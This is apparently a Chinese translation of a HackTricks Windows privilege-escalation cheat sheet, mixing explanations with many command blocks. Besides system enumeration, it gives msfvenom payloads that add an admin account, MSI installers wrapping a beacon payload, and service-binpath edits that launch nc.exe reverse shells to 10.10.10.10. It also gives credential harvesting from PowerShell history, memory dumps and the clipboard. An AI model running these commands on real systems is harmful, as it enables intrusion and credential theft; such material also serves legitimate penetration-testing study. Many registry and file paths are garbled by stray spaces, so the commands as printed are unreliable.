从零开始学习 AWS 黑客技术,成为 htARTE(HackTricks AWS 红队专家) ! 您在网络安全公司 工作吗? 想要看到您的公司在 HackTricks 中宣传 吗? 或者想要访问PEASS 的最新版本或下载 HackTricks 的 PDF ? 请查看订阅计划 !
初始 Windows 理论
访问令牌
如果您不知道 Windows 访问令牌是什么,请在继续之前阅读以下页面:
Access Tokens ACLs - DACLs/SACLs/ACEs
有关 ACLs - DACLs/SACLs/ACEs 的更多信息,请查看以下页面:
ACLs - DACLs/SACLs/ACEs 完整性级别
如果您不知道 Windows 中的完整性级别是什么,应在继续之前阅读以下页面:
Integrity Levels Windows 安全控制
Windows 中有不同的事物可能阻止您枚举系统 ,运行可执行文件,甚至检测您的活动 。 在开始权限提升枚举之前,您应该阅读 以下页面 并枚举 所有这些防御机制 :
Windows Security Controls 系统信息
版本信息枚举
检查 Windows 版本是否存在已知漏洞(还要检查应用的补丁)。
复制 systeminfo
systeminfo | findstr /B /C: "OS Name" /C: "OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
复制 [System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
版本漏洞
这个网站 对于查找有关微软安全漏洞的详细信息非常方便。该数据库中有超过4,700个安全漏洞,显示了Windows环境所面临的巨大攻击面 。
在系统上
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
本地系统信息
漏洞的Github仓库:
环境
环境变量中保存了任何凭据/敏感信息吗?
复制 set
dir env:
Get-ChildItem Env: | ft Key,Value
PowerShell 历史
复制 ConsoleHost_history #Find the PATH where is saved
type %userprofile% \A ppData \R oaming \M icrosoft \W indows \P owerShell \P SReadline \C onsoleHost_history.txt
type C: \U sers \s wissky \A ppData \R oaming \M icrosoft \W indows \P owerShell \P SReadline \C onsoleHost_history.txt
type $env :APPDATA \M icrosoft \W indows \P owerShell \P SReadLine \C onsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell 传输文件
您可以在https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ 了解如何打开此功能。
复制 #Check is enable in the registry
reg query HKCU \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
reg query HKLM \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
reg query HKCU \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
reg query HKLM \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
dir C: \T ranscripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell模块日志记录
记录PowerShell管道执行的详细信息,包括执行的命令、命令调用和脚本的部分。但是,可能无法捕获完整的执行详细信息和输出结果。
要启用此功能,请按照文档中“Transcript files”部分的说明操作,选择**“模块日志记录”而不是 “PowerShell转录”**。
复制 reg query HKCU \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
reg query HKLM \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
reg query HKCU \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
reg query HKLM \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
要查看PowerShell日志中的最后15个事件,您可以执行:
复制 Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell 脚本块记录
捕获脚本执行的完整活动和完整内容记录,确保在运行时记录每个代码块。该过程保留了每个活动的全面审计跟踪,对取证和分析恶意行为非常有价值。通过记录执行时的所有活动,提供了对过程的详细洞察。
复制 reg query HKCU \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
reg query HKLM \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
reg query HKCU \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
reg query HKLM \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
脚本块的日志事件可以在Windows事件查看器中的路径中找到:应用程序和服务日志 > Microsoft > Windows > PowerShell > 运行 。
要查看最后的20个事件,您可以使用:
复制 Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
互联网设置
复制 reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
驱动器
复制 wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where { $_ .Provider -like "Microsoft.PowerShell.Core\FileSystem" } | ft Name,Root
WSUS
如果更新不是通过 httpS 而是 http 请求的话,您可以妥协系统。
您可以通过运行以下命令来检查网络是否使用非 SSL 的 WSUS 更新:
复制 reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
如果您收到如下回复:
复制 HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
如果 HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
等于 1
。
那么,它是可利用的 。如果最后一个注册表等于 0,则 WSUS 条目将被忽略。
为了利用这些漏洞,您可以使用工具如:Wsuxploit ,pyWSUS - 这些是用于向非 SSL WSUS 流量注入“假”更新的中间人武器化利用脚本。
阅读研究报告:
WSUS CVE-2020-1013
阅读完整报告 。
基本上,这是该漏洞利用的缺陷:
如果我们有权修改本地用户代理,并且 Windows 更新使用 Internet Explorer 设置中配置的代理,则我们有权在我们的资产上以提升的用户身份运行 PyWSUS 以拦截我们自己的流量并以提升的用户身份运行代码。
此外,由于 WSUS 服务使用当前用户的设置,它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用类似 HSTS 的机制来对证书进行首次使用时的信任验证。如果用户信任并且具有正确主机名的证书被呈现,服务将接受该证书。
您可以使用工具 WSUSpicious 来利用此漏洞(一旦被释放)。
KrbRelayUp
在特定条件下,Windows 域 环境中存在本地权限提升 漏洞。这些条件包括未强制执行 LDAP 签名 的环境,用户拥有允许他们配置基于资源的受限委派 (RBCD) 的自身权限,并且用户有能力在域内创建计算机。重要的是要注意,这些要求 是使用默认设置 满足的。
在 https://github.com/Dec0ne/KrbRelayUp 中找到漏洞利用 。
有关攻击流程的更多信息,请查看 https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
如果 这两个注册表已启用 (值为 0x1 ),则任何权限的用户都可以将 *.msi
文件安装(执行)为 NT AUTHORITY\SYSTEM 。
复制 reg query HKCU \S OFTWARE \P olicies \M icrosoft \W indows \I nstaller /v AlwaysInstallElevated
reg query HKLM \S OFTWARE \P olicies \M icrosoft \W indows \I nstaller /v AlwaysInstallElevated
Metasploit 载荷
复制 msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
如果您拥有一个 Meterpreter 会话,您可以使用模块 exploit/windows/local/always_install_elevated
来自动化这个技术。
PowerUP
使用 power-up 中的 Write-UserAddMSI
命令,在当前目录中创建一个 Windows MSI 二进制文件以提升权限。此脚本会编写一个预编译的 MSI 安装程序,提示添加用户/组(因此您需要 GUI 访问):
执行已创建的二进制文件以提升权限。
MSI包装器
阅读此教程以了解如何使用此工具创建MSI包装器。请注意,如果您只想执行命令行,可以包装一个 ".bat " 文件
MSI Wrapper 使用WIX创建MSI
Create MSI with WIX 使用Visual Studio创建MSI
使用 Cobalt Strike 或 Metasploit 在 C:\privesc\beacon.exe
中生成一个新的Windows EXE TCP payload
打开 Visual Studio ,选择 创建新项目 ,在搜索框中输入 "installer"。选择 Setup Wizard 项目,然后点击 下一步 。
给项目命名,如 AlwaysPrivesc ,使用 C:\privesc
作为位置,选择 将解决方案和项目放在同一目录中 ,然后点击 创建 。
一直点击 下一步 ,直到到达第3步(选择要包含的文件)。点击 添加 ,选择刚刚生成的 Beacon payload。然后点击 完成 。
在 解决方案资源管理器 中突出显示 AlwaysPrivesc 项目,在 属性 中,将 TargetPlatform 从 x86 更改为 x64 。
您可以更改其他属性,例如 Author 和 Manufacturer ,这可以使安装的应用程序看起来更合法。
双击 Application Folder ,选择您的 beacon.exe 文件,然后点击 确定 。这将确保在运行安装程序时立即执行 Beacon 负载。
在 自定义操作属性 下,将 Run64Bit 更改为 True 。
如果显示警告 File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'
,请确保将平台设置为 x64。
MSI安装
要在后台 执行恶意 .msi
文件的安装 :
复制 msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
利用此漏洞,您可以使用:exploit/windows/local/always_install_elevated
杀毒软件和检测器
审计设置
这些设置决定了被记录 的内容,因此您应该注意
复制 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding,了解日志发送到哪里很有趣
复制 reg query HKLM \S oftware \P olicies \M icrosoft \W indows \E ventLog \E ventForwarding \S ubscriptionManager
LAPS
LAPS 旨在用于管理本地管理员密码 ,确保每个密码在加入域的计算机上是唯一的、随机的和定期更新的 。这些密码安全地存储在Active Directory中,只有通过ACLs被授予足够权限的用户才能访问,允许他们在获得授权的情况下查看本地管理员密码。
LAPS WDigest
如果激活,明文密码将存储在LSASS (本地安全性局子系统服务)。
有关WDigest的更多信息,请查看此页面 。
复制 reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA 保护
从 Windows 8.1 开始,微软引入了增强的本地安全机构(LSA)保护,以阻止 不受信任的进程读取其内存 或注入代码,进一步加固系统。
有关 LSA 保护的更多信息,请点击此处 。
复制 reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
凭据保护
凭据保护 是在 Windows 10 中引入的。其目的是保护设备上存储的凭据免受像传递哈希攻击这样的威胁。有关凭据保护的更多信息,请点击这里。
复制 reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
缓存凭据
域凭据 由本地安全机构 (LSA)进行身份验证,并被操作系统组件使用。当用户的登录数据由注册的安全包进行身份验证时,通常会建立用户的域凭据。
有关缓存凭据的更多信息,请点击此处 。
复制 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
用户和组
枚举用户和组
您应该检查您所属的任何组是否具有有趣的权限。
复制 # CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C: \U sers -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
特权组
如果您属于某些特权组,您可能能够提升权限 。在这里了解特权组以及如何滥用它们来提升权限:
Privileged Groups 令牌操纵
在这个页面了解更多关于令牌 是什么:Windows 令牌 。
查看以下页面以了解有关有趣令牌的信息以及如何滥用它们:
Abusing Tokens 记录的用户 / 会话
用户文件夹
复制 dir C:\Users
Get-ChildItem C:\Users
密码策略
获取剪贴板的内容
复制 powershell -command "Get-Clipboard"
运行中的进程
文件和文件夹权限
首先,列出进程检查进程的命令行中是否包含密码 。
检查是否可以覆盖某些正在运行的二进制文件 ,或者是否具有二进制文件夹的写入权限,以利用可能的DLL劫持攻击 :
复制 Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where { $_ .ProcessName -notlike "svchost*" } | ft ProcessName, Id
始终检查可能正在运行的electron/cef/chromium调试器 ,您可以滥用它来提升权限 。
检查进程二进制文件的权限
复制 for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^ "^ delims^=^" %%z in ( 'echo %%x' ) do (
icacls "%%z"
2> nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo .
)
)
检查进程二进制文件夹的权限( DLL劫持 )
复制 for /f "tokens=2 delims='='" %%x in ( 'wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"' ) do for /f eol^=^ "^ delims^=^" %%y in ( 'echo %%x' ) do (
icacls "%%~dpy\" 2>nul | findstr /i " ( F ) (M) ( W ) :\\ " | findstr /i " :\\ everyone authenticated users
todos %username% " && echo.
)
内存密码挖掘
您可以使用来自Sysinternals的procdump 创建运行中进程的内存转储。像FTP这样的服务在内存中以明文形式存储凭据 ,尝试转储内存并读取凭据。
复制 procdump.exe -accepteula -ma < proc_name_tasklis t >
不安全的 GUI 应用程序
以 SYSTEM 身份运行的应用程序可能允许用户生成 CMD,或浏览目录。
示例:"Windows 帮助和支持"(Windows + F1),搜索 "命令提示符",点击 "单击以打开命令提示符"
服务
获取服务列表:
复制 net start
wmic service list brief
sc query
Get-Service
权限
您可以使用 sc 命令获取服务的信息
建议使用来自_Sysinternals_的二进制文件accesschk 来检查每个服务所需的特权级别。
复制 accesschk.exe -ucqv < Service_Nam e > #Check rights for different groups
建议检查是否“已验证用户”可以修改任何服务:
复制 accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2> nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
您可以在此处下载适用于XP的accesschk.exe
启用服务
如果您遇到此错误(例如与SSDPSRV有关):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
您可以使用以下方法启用它
复制 sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
请注意,服务upnphost依赖于SSDPSRV才能正常工作(适用于XP SP1)
另一种解决方法 是运行:
复制 sc.exe config usosvc start= auto
修改服务二进制路径
在“已验证用户”组拥有服务上的SERVICE_ALL_ACCESS 权限的情况下,可以修改服务的可执行二进制文件。要修改并执行sc :
复制 sc config < Service_Nam e > binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config < Service_Nam e > binpath= "net localgroup administrators username /add"
sc config < Service_Nam e > binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
重新启动服务
复制 wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
特权可以通过各种权限进行提升:
SERVICE_CHANGE_CONFIG :允许重新配置服务二进制文件。
WRITE_DAC :启用权限重新配置,从而可以更改服务配置。
WRITE_OWNER :允许获取所有权并重新配置权限。
GENERIC_WRITE :继承更改服务配置的能力。
GENERIC_ALL :也继承更改服务配置的能力。
要检测和利用此漏洞,可以使用_exploit/windows/local/service_permissions_。
服务二进制文件权限弱
检查是否可以修改由服务执行的二进制文件 ,或者是否具有二进制文件所在文件夹的写入权限 (DLL 劫持 )。
您可以使用wmic (不在system32中)获取由服务执行的每个二进制文件,并使用icacls 检查您的权限:
复制 for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^ "^ delims^=^" %a in ( %temp%\perm.txt ) do cmd.exe /c icacls "%a" 2> nul | findstr "(M) (F) :\"
你也可以使用 sc 和 icacls :
复制 sc query state= all | findstr "SERVICE_NAME:" >> C: \T emp \S ervicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C: \T emp \p ath.txt
服务注册表修改权限
您应该检查是否可以修改任何服务注册表。
您可以通过以下方式检查您对服务注册表的权限:
复制 reg query hklm \S ystem \C urrentControlSet \S ervices /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM: \S ystem \C urrentControlSet \s ervices \* | Format-List * | findstr /i "<Username> Users Path Everyone"
应检查Authenticated Users 或NT AUTHORITY\INTERACTIVE 是否拥有FullControl
权限。如果是这样,服务执行的二进制文件可能会被更改。
要更改执行的二进制文件的路径:
复制 reg add HKLM \S YSTEM \C urrentControlSet \s ervices \< service_nam e > /v ImagePath /t REG_EXPAND_SZ /d C: \p ath \n ew \b inary /f
服务注册表AppendData/AddSubdirectory权限
如果您对注册表具有此权限,则意味着您可以从此注册表创建子注册表 。在Windows服务的情况下,这已经足以执行任意代码 :
AppendData/AddSubdirectory permission over service registry 未加引号的服务路径
如果可执行文件的路径没有在引号内,Windows将尝试执行空格之前的每个结尾。
例如,对于路径_C:\Program Files\Some Folder\Service.exe_,Windows将尝试执行:
复制 C:\ Program.exe
C:\Program Files\ Some.exe
C:\Program Files\Some Folder\ Service.exe
列出所有未加引号的服务路径,不包括内置Windows服务的路径:
复制 wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
#Other way
for /f "tokens=2" %%n in ( 'sc query state^= all^| findstr SERVICE_NAME' ) do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
复制 gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
您可以使用metasploit检测和利用 这个漏洞:exploit/windows/local/trusted\_service\_path
您也可以手动使用metasploit创建一个服务二进制文件:
复制 msfvenom -p windows/exec CMD= "net localgroup administrators username /add" -f exe-service -o service.exe
恢复操作
Windows允许用户指定服务失败时要执行的操作。可以配置此功能指向一个可替换的二进制文件。如果这个二进制文件是可替换的,可能会导致特权升级。更多详细信息可以在官方文档 中找到。
应用程序
已安装应用程序
检查二进制文件的权限 (也许您可以覆盖其中一个并提升权限)以及文件夹 的权限(DLL劫持 )。
复制 dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE \S OFTWARE
Get-ChildItem 'C:\Program Files' , 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE \S OFTWARE | ft Name
写权限
检查是否可以修改某些配置文件以读取某些特殊文件,或者是否可以修改某个将由管理员帐户执行的二进制文件(schedtasks)。
发现系统中弱文件/文件夹权限的一种方法是执行:
复制 accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c: \
accesschk.exe -uwdqs "Authenticated Users" c: \
accesschk.exe -uwdqs "Everyone" c: \
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c: \* .*
accesschk.exe -uwqs "Authenticated Users" c: \* .*
accesschk.exe -uwdqs "Everyone" c: \* .*
复制 icacls "C:\Program Files\*" 2> nul | findstr "(F) (M) :\" | findstr " : \ everyone authenticated users todos %username% "
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
复制 Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
开机自启
检查是否可以覆盖一些将由不同用户执行的注册表或二进制文件。
阅读 以下页面以了解更多有关提升权限的有趣自启动位置 的信息:
Privilege Escalation with Autoruns 驱动程序
寻找可能存在的第三方奇怪/易受攻击的 驱动程序
复制 driverquery
driverquery.exe /fo table
driverquery /SI
PATH DLL 劫持
如果您在 PATH 中具有写入权限 ,您可能能够劫持进程加载的 DLL 并提升权限 。
检查 PATH 中所有文件夹的权限:
复制 for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
要了解如何滥用此检查的更多信息:
Writable Sys Path +Dll Hijacking Privesc 网络
共享
复制 net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\ computer /ALL #List shares of a computer
net use x: \\ computer \s hare #Mount the share locally
net share #Check current shares
hosts文件
检查hosts文件中是否有其他已知计算机的硬编码信息
复制 type C:\Windows\System32\drivers\etc\hosts
网络接口和DNS
复制 ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
开放端口
检查外部是否存在受限制的服务
复制 netstat -ano #Opened ports?
路由表
复制 route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP表
复制 arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
防火墙规则
查看此页面以获取与防火墙相关的命令 (列出规则,创建规则,关闭,关闭...)
更多此处的网络枚举命令
Windows子系统Linux(WSL)
复制 C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
二进制文件 bash.exe
也可以在 C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
中找到。
如果您获得 root 用户权限,您可以监听任何端口(第一次使用 nc.exe
监听端口时,它会通过 GUI 询问是否应允许防火墙通过 nc
)。
复制 wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
要轻松以root身份启动bash,可以尝试--default-user root
您可以在文件夹C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
中探索WSL
文件系统